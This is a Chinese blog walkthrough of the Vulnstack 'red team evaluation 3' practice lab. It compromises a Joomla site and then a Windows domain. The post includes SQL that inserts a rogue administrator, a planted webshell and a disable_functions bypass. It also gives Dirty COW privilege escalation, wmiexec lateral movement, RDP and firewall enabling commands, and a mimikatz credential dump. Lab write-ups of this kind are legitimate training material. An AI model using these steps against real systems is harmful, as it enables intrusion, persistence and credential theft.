【红日靶场系列】ATT&CK红队评估3

最新推荐文章于 2024-06-21 09:57:06 发布
最新推荐文章于 2024-06-21 09:57:06 发布
阅读量1.3k 收藏 3
点赞数 2
分类专栏： 红日靶场系列 文章标签： 网络 linux 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45632448/article/details/126854171
版权

靶场搭建

靶场下载地址：
http://vulnstack.qiyuanxuetang.net/vuln/
下载下来之后目录是这样
在这里插入图片描述
环境配置：
打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。
挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。
除重新获取ip，不建议进行任何虚拟机操作。
参考虚拟机网络配置，添加新的网络，该网络作为内部网络。
在这里插入图片描述
注：名称及网段必须符合上述图片，进行了固定ip配置。
描述：
目标：域控中存在一份重要文件。
本次环境为黑盒测试，不提供虚拟机账号密码。

设备信息：
web-centos：
双网卡：桥接+VMnet2
在这里插入图片描述
web1-ubantu：
单网卡：VMnet2
在这里插入图片描述
Windows server 2008：
单网卡：VMnet2
在这里插入图片描述
Windows server 2012：
单网卡：VMnet2
在这里插入图片描述
PC-Windows 7
单网卡：VMnet2
在这里插入图片描述
目标信息：
http://192.168.178.118/

注意：web-centos这一台一开始是192.168.1.110，但是本机上面不存在该网段，需要重启一下网卡，才能桥接到本机的网段
重启网卡：
/etc/init.d/network restart
在这里插入图片描述

外网打点

在这里插入图片描述
nmap进行端口扫描
在这里插入图片描述
也可以fscan进行扫描
在这里插入图片描述
mysql数据库弱口令：
mysql:192.168.178.118:3306:root 123（这个数据库存在多个账号，内容是否一样未做判断）
在这里插入图片描述
dirsearch进行目录扫描
在这里插入图片描述
phpinfo页面（可以查看禁用哪些函数）在这里插入图片描述
后台登录地址
在这里插入图片描述
数据库配置文件（另一个账号testuser/cvcvgjASD!@）
在这里插入图片描述
在这里插入图片描述
连接成功，这里虽然找到了管理员的账号密码，但是密码是被加密的，而加密方式也并不知道（其实一般的网站后台账号的加密方式是MD5，这种的就可以直接将“123456”进行加密把他的替换掉，就可以登陆了，前提是要备份一下他原先的密码；但是这种就不能使用这种方式了）
在这里插入图片描述
直接添加新的管理员账户（根据joomla官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn）

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

在这里插入图片描述
在这里插入图片描述
这里就添加了一个admin2/secret超级管理员账户（后台管理界面）
然后Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php，写入一句话木马。
在这里插入图片描述
蚁剑连接
http://192.168.178.118/templates/beez3/webshell.php
发现无法执行命令
在这里插入图片描述
这里可能是对系统执行函数做了限制，查看刚刚的phpinfo页面，禁用了一系列的函数
在这里插入图片描述
蚁剑有专门绕过disable_functions的插件（可以在插件市场下载，需要梯子）
在这里插入图片描述
选择PHP7_GC_UAF模式或者下一个PHP的模式，然后点击开始，就会弹出一个终端
在这里插入图片描述
绕过成功
在这里插入图片描述
ipconfig -a发现只有一个网卡，而centos应该有两个网卡，一个出网网卡，一个内网网卡
uname -a 发现是Ubuntu系统

拿到了Centos的shell，执行命令返回的是Ubuntu（web1）的信息
原来是Centos是Ubuntu的反向代理，用的是Nginx协议
在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx
前面扫描端口存在ssh，这应该是用在这，使用ssh连接工具登录ssh
在这里插入图片描述
在这里插入图片描述
ifconfig（双网卡，内网网段192.168.93.0/24）
在这里插入图片描述
成功获得centos的shell，接下来进行提权

Linux提权
1、内核提权(脏牛提权）
2、suid提权
3、sudo提权
4、数据库提权

sudo -l查看特权命令（失败）
在这里插入图片描述
suid提权（失败）
通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
在这里插入图片描述
内核提权–脏牛提权（CVE-2016-5195）（成功）
在这里插入图片描述
上传到临时文件夹/tmp下
在这里插入图片描述
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件，并设置密码
./dirty 123456
在这里插入图片描述
su firefart
输入密码123456
提权成功
在这里插入图片描述
上传iox进行正向代理，proxifer设置sock5代理
./iox proxy -l 5555
在这里插入图片描述
在这里插入图片描述
上传fscan进行内网探测（本机也是可以的，但是有时候会卡死，导致电脑直接卡崩，可能是动静太大）
./fscan_amd64 -h 192.168.93.0/24 -np -nopoc
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到以下几个信息：
1、两个数据库弱口令：
mysql:192.168.93.120:3306:root 123
mysql:192.168.93.100:3306:root 123
2、存在域控192.168.93.10
3、开启了445端口，可以smb爆破

smb爆破（超级弱口令自带的字典爆不成功，kali自带的字典能够爆破成功，这里单纯只是想在不使用kali的情况拿到靶标）（其实到这里已经拿到所有服务器的账号密码了）
在这里插入图片描述
可以利用wmi来控制主机，进行操作（wmi 出现在所有的windows操作系统中，由一组强大的工具集合组成，用于管理本地或远程的windows系统。攻击者使用wmi攻击时windows系统默认不会在日志中记录这些操作，可以做到无日志、攻击脚本无需写入到磁盘，增加了隐蔽性
参考文章：
https://zhuanlan.zhihu.com/p/228874296
在这里插入图片描述
python wmiexec.py -debug administrator:123qwe!ASD@192.168.93.20
在这里插入图片描述
查看系统进程，可以发现有TEST域进程，那么就可以尝试抓取密码
tasklist /V
在这里插入图片描述
可以在kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz
但这里不使用kali，只有CMD且没有与外网连接，想要上传文件只能通过3389远程连接

开远程桌面功能
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group=“Remote Desktop” new enable=yes
在这里插入图片描述
成功连接192.168.93.20的远程桌面
administrator/123qwe!ASD
在这里插入图片描述
利用mimikatz.exe运行工具抓取密码
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log.log
在这里插入图片描述
在这里插入图片描述
IPC远程连接

IPC（Internet Process Connection）是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接，得到目标主机上的目录结构、用户列表等信息。

利用条件：
1、管理员开启了默认共享
2、139或445端口开放

利用wmi连接08服务器，然后利用IPC连接域控服务器，读取内部重要文件
IPC连接–寻找重要文件–读取文件

net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
dir \\192.168.93.10\c$\users\administrator\documents
type \\192.168.93.10\c$\users\administrator\documents\flag.txt

在这里插入图片描述

青果@
关注
专栏目录
渗透系列：ATT&CK红队评估（红日靶场二）
weixin_54626591的博客
01-22 223
ATT&CK红队评估（红日靶场二）
ATT&CK红队评估（红日靶场四）
weixin_45682839的博客
04-28 5573
ATT&CK红队评估（红日靶场四）通关攻略，涉及知识包括： Struts2漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、ms17_010、docker逃逸、ms14_068、ssh密钥利用、流量转发、横向移动、内网渗透等。
ATT&CK红队评估（红日靶场三）
weixin_45682839的博客
04-25 3508
ATT&CK红队评估（红日靶场三）通关，拿下所有五台主机，包括：Centos、Ubantu、Windows xp、Windows 2008、Windows 2012
ATT&CK实战系列-红队评估（三）
weixin_51801534的博客
12-29 3626
注：遇到问题不要急，上网搜一搜，多试几个搜索引擎 外网信息收集 我们首先对已知的IP（192.168.1.110）进行端口扫描： ┌──(root????kali)-[~/桌面] └─# nmap -T4 -sC -sV 192.168.1.110 如上图所示,发现Centos上面开放了22、80、和3306端口，分别运行着OpenSSH、nginx和MySQL， 访问80端口，发现是一个Joomla CMS搭建的站点 Joomla是一套全球知名的内容管理系统，是使用PHP语言加上MySQL数据库所开
红日靶场（七）vulnstack7
最新发布
zzz6583zz的博客
06-21 683
​ 无论你是去B站或者是油管上面都有很多网络安全的相关视频可以学习，当然如果你还不知道选择那套学习，我这里也整理了一套和上述成长路线图挂钩的视频教程如果你对网络安全入门感兴趣，那么你点击这里。接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中，写入后我们就可以使用密钥登录改机器。我们写一个恶意的ps，里面进入shell命令行，修改环境变量，让shell找ps的时候找我们写的恶意ps。给web1配置了两个网卡，一个桥接可以对外提供服务；
ATT&CK实战系列-红队评估（三）WP
h1nt的博客
08-18 554
环境搭建 靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 将虚拟机下载下来后按照官方说明配置好网络环境即可开始测试 渗透流程 0x01 WEB信息收集 查看靶机WEB服务，发现是Joomla CMS搭建的demo站点 扫描目录得到配置文件的备份configuration.php~ 在其中翻到后端数据库的用户名和密码 同时端口扫描发现数据库服务可以外联 尝试用得到的账户密码登录，连接成功 0x02 添加管理员账
ATT&CK实战系列-红队评估 （红日靶场3）Vulnstack三层网络域渗透靶场
qq_47289634的博客
08-01 1625
靶场地址打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。除重新获取ip，不建议进行任何虚拟机操作。参考虚拟机网络配置，添加新的网络，该网络作为内部网络。注：名称及网段必须符合下面图片，进行了固定ip配置。
渗透靶场--vulnstack-红队评估实战(3)
weixin_45794666的博客
07-20 1122
vulnstack-红队评估实战(3) 环境配置 攻击者： kali 192.168.154.129 web 192.168.154.135 192.168.93.100 pc 192.168.93.30 win2008 192.168.93.20 win2012 192.168.93.10 web1-ubantu 192.168.93.120 1.外网主机信息搜集 nmap扫描 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGg14jbu-16267
【红日靶场系列】ATT&CK红队评估7
weixin_45632448的博客
10-16 2158
cd到/home/jobs目录下，运行一下这个文件，可以看到shell文件执行了ps命令，并且未使用绝对路径，所以我们可以尝试更改$PATH来执行我们的恶意程序，从而获得目标主机的高权限shell。有Ubuntu这个用户，就可以把我们自己生成的SSH密钥写入到/test/home/ubuntu/.ssh目录中的authorized_keys文件中，写入成功之后就可以使用该密钥进行登陆该机器。这样，第二层网络中的所有主机皆可以上网，但是位于第三层网络中的所有主机都不与外网相连通，不能上网。
ATT&CK红队评估（红日靶场二）
weixin_45682839的博客
04-11 2842
靶场搭建 靶场下载地址：漏洞详情 一共有三台主机：WEB、DC、PC WEB主机有两张网卡，第一张网卡NAT，第二张网卡选择一个仅主机模式的网络（vmvare可以通过编辑里的虚拟网络编辑器进行添加或修改网络）这里我选择的是创建的仅主机vmnet15网络 DC主机只有一张网卡，选择和WEB第二章网卡一样的vmnet15网络 PC有两张网卡，配置和WEB主机一样，第一张网卡NAT，第二张网卡vmnet15 网络设置完成后进行开机 WEB主机以administrator第一次登录时没
ATT&CK红队评估（红日靶场五）
weixin_45682839的博客
04-30 1679
ATT&CK红队评估（红日靶场五）通关攻略，涉及知识包括：ThinkPHP5.0 RCE漏洞、内网渗透、横向移动、psexec使用、代理建立，matespolit、cobaltstrike等工具使用。
[红日靶场]ATT&CK实战系列——红队实战(—)
Huamang的博客
10-17 902
环境搭建 靶场地址 该靶场给了三台虚拟机 下载好分别开启，密码都是hongrisec@2019，登录后需要修改密码，我这里修改的hongri@2019 靶场环境是这样的 web服务器由win7来搞，网络可以按照官方给的配置 但由于我习惯了用自己的windows打，所以我把win7设置成nat，另一个网络设成vm1 另外两个虚拟机的网络适配器都设置成vm1 NAT的子网是192.168.159.0/24 在win7里面的phpstudy打开服务 成功访问 以上就已经搭建好了环境了 WEB服务渗透 n
ATT&CK实战系列-红队实战(三) VulnStack靶场
weixin_68652890的博客
05-11 601
信息搜集 nmap 扫192.168.5.0/24网段 目标主机开启22 80 3306 思路：22 ssh爆破 远程连接 80 从网站getshell 3306 mysql 外联(数据库配置文件) 先访问80 指纹识别 joomla cms msf探测版本为3.9.12 没找到exp 用dirsearch 扫到后台 和数据库配置文件configuration.php~ 泄露数据库账号和密码 用Navicat连接数据库 [外链图片转存失败,源站可能有防盗链机制,建议
ATT&CK红队评估实战靶场(三)
m0_58177121的博客
08-20 682
靶场描述 基本信息 作者：licong 环境配置 打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。 挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。 除重新获取ip，不建议进行任何虚拟机操作。 参考虚拟机网络配置，添加新的网络，该网络作为内部网络。 注：名称及网段必须符合上述图片，进行了固定ip配置。 描述 目标：域控中存在一份重要文件。 本次环境为黑盒测试，不提供虚拟机账号密码。 利用漏洞进入内网 端口
ATT&CK 红日靶场(三)-简记
zhoufy的博客
06-21 1033
端口目录访问 ip/1.php -->根目录、禁用函数!!!-------IP/configuration.php~-->>发现 testuser / cvcvgjASD!更改密码->>123456Step 》写马->>eval($_POST['123']);-》访问error.php--antsward 连接后无法执行命令：antsward-》加载插件-》辅助工具-》绕过disable_fuctions-》PHP7_GC_UAF 、PHP7_Backtrace_UAF。
VulnStack-ATT&CK-3（红日靶场三）
buffedon的博客
07-12 1万+
VulnStack-ATT&CK-31. 环境配置2. 信息收集目标机端口扫描目录扫描3. 漏洞利用远程连接web的MySQL登录后台写一句话木马连接木马文件getshell4. 内网渗透内网信息收集脏牛漏洞提权内网渗透，建立监听路由转发Sock代理Socks5代理5. 横向移动NTLM Relay 攻击定位域管理员meterpreter的kiwi模块抓取密码使用获取到的密码控制 win7进攻域控（win 2012）6. 问题总结 1. 环境配置 此图仅供参考，IP地址有误 首先添加一张网卡（仅主
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 2984
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记
热门推荐
qq_41821603的博客
11-24 5万+
这里写目录标题一、环境搭建二、拿下web服务器2.1 信息收集 一、环境搭建 实验环境拓扑如下： windows2008 域控 （host-only） windiws 7 web服务器 （双网卡 host-only + NAT） windows 2003 域内PC （host-only） 二、拿下web服务器 2.1 信息收集 ...
ATT&CK实战系列——红队实战（一）红日靶场1
qq_62989306的博客
10-17 3563
靶场搭建、外网打点getshell、上线MSF和CS、内网信息搜集、内网攻击。 靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 靶机下载完成后解压，使用vmware打开虚拟机，有三台虚拟机：Win7、Win2003、Win2008默认密码hongrisec@2019
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值